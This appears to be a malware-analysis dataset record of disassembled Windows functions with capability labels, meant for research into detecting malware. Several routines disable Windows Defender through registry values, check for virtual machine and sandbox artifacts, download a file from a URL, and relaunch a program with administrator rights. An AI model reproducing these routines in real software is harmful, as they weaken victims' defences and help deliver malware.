joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40192a
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rax, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
setne al
test al, al
je 0x40199f
lea rax, str.Failed_to_open_reg1stry_key.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov eax, 0
jmp 0x401a65
mov dword [rbp - 0xc], 1
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableRealtimeMonitoring
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x401a25
lea rax, str.Failed_to_set_reg1stry_value.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
jmp 0x401a65
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str.R4l_t1me_protection_in_Windows_Defender_has_been_disabled.
mov rdx, rax
mov rax, qword [0x004c25f0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov eax, 1
add rsp, 0x40
pop rbp
ret
Function at 0x401a6b
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rax, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
setne al
test al, al
je 0x401ae0
lea rax, str.Failed_to_open_rgistry_key.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov eax, 0
jmp 0x401ba6
mov dword [rbp - 0xc], 1
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableAntiSpyware
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x401b66
lea rax, str.Failed_to_set_rgistry_value.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
jmp 0x401ba6
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str.Windows_Defender_has_been_disabled.
mov rdx, rax
mov rax, qword [0x004c25f0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov eax, 1
add rsp, 0x40
pop rbp
ret
Function at 0x401bac
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
lea rax, str.SOFTWAREVMware__Inc.VMware_Tools
mov qword [rbp + 0xf0], rax
lea rax, str.SOFTWAREVMware__Inc.VMware_Workstation
mov qword [rbp + 0xf8], rax
lea rax, str.HARDWAREDESCRIPTIONSystemBIOSSystemManufacturer
mov qword [rbp + 0x100], rax
lea rax, str.HARDWAREDESCRIPTIONSystemSystemBiosVersion
mov qword [rbp + 0x108], rax
lea rax, str.SOFTWAREParallelsParallels_Desktop
mov qword [rbp + 0x170], rax
lea rax, str.xen.exe
mov qword [rbp + 0x168], rax
lea rax, str.qemu_system
mov qword [rbp + 0x160], rax
lea rax, str.SOFTWARECitrixXenTools
mov qword [rbp + 0x158], rax
lea rax, str.SOFTWAREProxmox
mov qword [rbp + 0x150], rax
lea rax, str.qemu_kvm.exe
mov qword [rbp + 0x148], rax
lea rax, str.SOFTWAREMicrosoftWindows_NTCurrentVersionVirtualization
mov qword [rbp + 0x140], rax
lea rax, str.SOFTWAREVMware__Inc.VMware_InfrastructureClientPreferences
mov qword [rbp + 0x138], rax
lea rax, str.SOFTWAREOracleVirtualBox
mov qword [rbp + 0x130], rax
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x128]
add rax, 0x20
mov qword [rbp + 0x120], rax
jmp 0x401d13
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
mov rax, qword [rax]
lea rdx, [rbp + 0xe8]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x401d0b
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
jmp 0x401e21
add qword [rbp + 0x178], 8
mov rax, qword [rbp + 0x178]
cmp rax, qword [rbp + 0x120]
jne 0x401ca2
mov rax, qword [rbp + 0x170]
lea rdx, [rbp + 0xe8]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x401d7f
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
jmp 0x401e21
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x118], rax
mov dword [rbp - 0x50], 0x130
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sym.Process32First
test eax, eax
setne al
test al, al
je 0x401e09
mov rax, qword [rbp + 0x168]
lea rdx, [rbp - 0x50]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sym.strcmp
test eax, eax
jne 0x401ded
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x401e21
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x401db8
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x200
pop rbp
ret
Function at 0x401e2a
Capabilities:
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x401e71
mov eax, 1
jmp 0x401ea1
lea rax, str.Chyba_pi_stahovn_souboru.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x401f4e
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x70], 0x70
mov dword [rbp - 0x6c], 0x40
mov qword [rbp - 0x68], 0
lea rax, str.runas
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov dword [rbp - 0x40], 1
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
setne al
test al, al
je 0x401ff7
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x402022
lea rax, str.Nepodailo_se_spustit_program_s_administrtorskmi_oprvnnmi.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
nop
add rsp, 0x98
pop rdi
pop rbp
ret
Function at 0x40c4e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x40c550
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004e90b4]
test esi, esi
mov rbx, rcx
jle 0x40c680
mov rax, qword [0x004e90b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x40c59b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x40c625
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x40c580
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x40c6a2
mov rax, qword [0x004e90b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004e90b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40c687
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40c61e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x40c630
add dword [0x004e90b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004e90b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40c61e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x40c5a8
mov rax, qword [0x004e90b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x40cc40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x004e9120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004e9100]
test rbx, rbx
je 0x40cc9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x40cc93
test eax, eax
jne 0x40cc93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40cc78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40ceb0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x40cec8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x40ced0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x40cee0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x40cf2d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x40cf24
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x40cf2f
add rax, 0x28
cmp rax, r9
jne 0x40cf10
xor eax, eax
ret

Function at 0x40cf30
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x40cfc0
mov rdx, qword [0x004c2bf0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x40cfae
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40cfae
cmp word [rax + 0x18], 0x20b
jne 0x40cfae
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x40cfc0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x40cf99
add rbx, 0x28
cmp rbx, rdi
je 0x40cfc0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x40cf90
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x40cfd0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004c2bf0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x40cff0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x40cff8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x40cff0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x40d04d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40d044
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40cff0
add rax, 0x28
cmp rax, r9
jne 0x40d030
xor eax, eax
ret

Function at 0x40d050
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004c2bf0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x40d06f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x40d078
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x40d06f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x40d090
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x004c2bf0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x40d0b0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x40d0b8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x40d0b0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x40d100
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x40d0f7
test rcx, rcx
je 0x40d0b0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x40d0e8
xor eax, eax
ret
Function at 0x40d110
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004c2bf0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x40d12f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x40d138
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x40d150
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004c2bf0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x40d170
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x40d178
ret
cmp word [r8 + 0x18], 0x20b
jne 0x40d170
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x40d170
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x40d1c4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x40d1d0
add rdx, 0x28
cmp rdx, r9
jne 0x40d1b0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x40d1e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x004c2bf0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x40d202
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x40d210
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x40d202
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x40d202
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x40d202
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x40d265
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x40d278
add rdx, 0x28
cmp r10, rdx
jne 0x40d250
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x40d287
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x40d297
mov edx, dword [rax + 0xc]
test edx, edx
je 0x40d26e
test ecx, ecx
jg 0x40d280
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x4164a0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
lea rcx, str.msvcrt.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rsi
test rax, rax
je 0x4164e8
mov rcx, rbx
mov qword [sym.init_rand_s], rax
add rsp, 0x28
pop rbx
pop rsi
jmp rax
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rsi
mov qword [0x004e9ca0], rax
lea rax, [sym.mingw_rand_s]
jmp 0x4164ce

Function at 0x418ad0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x004b9168], eax
je sym.pthread_tls_init.cold
add rsp, 0x28
ret
Function at 0x418af0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
mov qword [rsp + 0x20], rax
movabs rax, 0x7520676e696e6165
mov qword [rsp + 0x28], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x30], rax
movabs rax, 0x20726f6620737965
mov qword [rsp + 0x38], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x87], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x418bfa
lea rcx, [rsp + 0x20]
mov eax, 0x28
jmp 0x418bd2
add rax, 1
cmp rax, 0x6b
je 0x418bef
cmp byte [rcx + rax], 0
jne 0x418bc8
lea edx, [rax + 1]
cmp eax, 0x6a
je 0x418bef
cdqe
mov byte [rsp + rax + 0x20], 0xa
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
lea rcx, [rsp + 0x20]
mov edx, 0x28
mov eax, 0x27
jmp 0x418be0

Function at 0x418f70
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x004e9d40], 1
je 0x418fe8
lea rdi, [0x004e9d40]
mov rcx, rdi
call sym.enterOnceObject
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call sym.pthread_mutex_lock
mov esi, dword [0x004e9d40]
test esi, esi
jne 0x418ff8
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x004b9168], eax
je sym._pthread_once_raw.constprop.0.isra.0.cold
mov dword [0x004e9d40], 1
mov rcx, rbp
call sym.pthread_mutex_unlock
test rbx, rbx
je 0x418fe8
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp sym.leaveOnceObject.part.0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp esi, 1
je 0x418fc8
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sym.fprintf
jmp 0x418fc8
Function at 0x419020
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x419138
test rax, rax
je 0x419138
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call sym.pthread_spin_destroy
cmp eax, 1
je 0x419146
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
lea r9, [rbx + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je sym.__pthread_self_lite.part.0.cold
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x004b9168]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41914c
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.replace_spin_keys.part.0
nop
jmp sym.__pthread_self_lite.part.0.cold

Function at 0x419160
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x004b9168]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x419180
add rsp, 0x28
ret
add rsp, 0x28
jmp sym.__pthread_self_lite.part.0